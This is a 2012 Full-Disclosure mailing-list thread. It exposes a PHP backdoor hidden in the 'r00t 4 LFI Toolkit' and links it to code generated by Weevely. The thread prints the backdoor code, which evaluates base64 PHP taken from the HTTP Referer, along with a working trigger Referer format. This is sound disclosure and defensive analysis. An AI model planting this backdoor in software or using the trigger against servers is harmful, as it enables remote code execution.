Thank you for the response, I didn't know it was included in the Weevely tool, but I did see it used in a few "priv8" PHP shells too.
On Sun, 19 Feb 2012 19:32:13 +0200, Anestis Bechtsoudis <[email protected]> wrote: > The backdoor PHP code that you included is exactly the same as generated > by Weevely [1] tool, until the 0.4 version of the tool. > > For convenience I include the base64 decoded Weevely code here too: > > ini_set('error_log','/dev/null'); > parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='my' && > count($a)==9) {echo '<pass>';eval(base64_decode(str_replace(" ", "+", > join(array_slice($a,count($a)-3)))));echo '</pass>';} > > > For more details you can refer at a relevant post I wrote recently [2]. > > I haven't dig into "r00t 4 LFI" source code, but from your analysis the > similarities are pretty obvious. > > ps: This email has been BCC'ed to Weevely developer. > > > [1] http://code.google.com/p/weevely/ > [2] https://bechtsoudis.com/security/put-weevely-on-the-your-nids-radar/ > > > On 02/19/2012 07:01 PM, InterN0T Advisories wrote: >> Dear Full Disclosure readers, >> >> >> Today I saw Joe McCray among others, tweet about the (new) "r00t 4 LFI >> Toolkit", that according to its description: >> ------------------------------------------- >> This tool is a php script that assists in performing local file inclusion >> attacks. >> ------------------------------------------- >> >>>> Should be able to perform local file inclusion attacks. >> >> >> -:: Overview ::- >> >> After studying this tool for a brief 5 minutes, it was obvious that it >> was >> nowhere what I hoped it to be, as the tool only use one method, the >> "/proc/self/environ" vector (as seen on e.g., the intern0t forums and >> many >> other sites). >> >> The tool is therefore, not capable of performing "attacks", but only 1, >> single type of LFI attack. (Note that the 'S' has been removed.) >> >> The method this tool uses, is far from new and doesn't always work >> either, >> but it's a nice trick that e.g., SirGod wrote about on the intern0t >> forums >> in 2009. (This tool was released the 18th February 2012.) >> >> >> -:: Vulnerabilities ::- >> >> Further study of this tool reveals: >> - None of the output from the tool is sanitized, meaning the attacker >> using the script, can get XSS'd (and CSRF'd), if the target has changed >> e.g., the 'uname -a' command (which is relatively simple to do), to >> include >> (print) JavaScript instead. If this happens, the attacker may end up >> attacking himself, crashing or something third, depending on the type of >> XSS payload. >> >> - The most interesting part, is on line 92, where the "developer" >> (KedAns-Dz), has decided to >>backdoor<< the tool. >> >> >> -:: The Backdoor ::- >> >> Analysis of the backdoor: >> By sending a HTTP request, that includes a specially crafted referer, it >> is possible to execute PHP code: >> ------------------------------------------- >> Referer: a1=iz&a2=&a3=&a4=&a5=&a6=&a7=&a8=&a0=cGhwaW5mbygpOw== >> ------------------------------------------- >> >> >> This referer will make the script execute: phpinfo(); >> >> >> -:: Code Review ::- >> >> The code that enables the developer to use the script as a backdoor looks >> like the following: >> ------------------------------------------- >> parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' && >> count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+", >> join(array_slice($a,count($a)-3)))));echo '</star>';} >> ------------------------------------------- >> >> >> It certainly took a little bit of study to trigger, but in essence here's >> what it do: >> 1. Parse the HTTP Referer string into variable: $a ("Referer:" is not >> included.) >> 2. If the first array value (not key / arg), is a string named: iz >> 3. And if there's 9 (different) arrays, then >> 4. Print out the contents of.. >> >> >> This requires a bit more in-depth explanation: >> A) Evaluate the following as PHP code: >> B) Base64_decode the input: >> C) Replace " " (space) with "+" (plus), in case they occur. >> D) Use the last three array values from the HTTP referer. >> (You don't have to use all three, using the last will work fine.) >> >> >> To make it all a lot more simple: >> ------------------------------------------- >> Referer:Array1=iz&Array2=&Array3=&Array4=&Array5=&Array6=&Array7=&Array8=&Array0=[BASE64 >> Code that will be executed as PHP.] >> ------------------------------------------- >> >> >> Screenshot: >> http://i.imgur.com/PXcSX.png >> >> >> References: >> http://forum.intern0t.org/offensive-guides-information/4113-analysis-r00t-4-local-file-inclusion-toolkit.html >> http://forum.intern0t.org/general-hacking-discussions/1258-shell-via-local-file-inclusion-proc-self-environ-method-step-step.html >> http://packetstormsecurity.org/files/109940/ >> https://twitter.com/#!/j0emccray/status/170941195030233090 >> https://twitter.com/#!/EChavarro/status/170941489629761537 >> http://i.imgur.com/PXcSX.png >> >> >> >> Best regards, >> MaXe >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. 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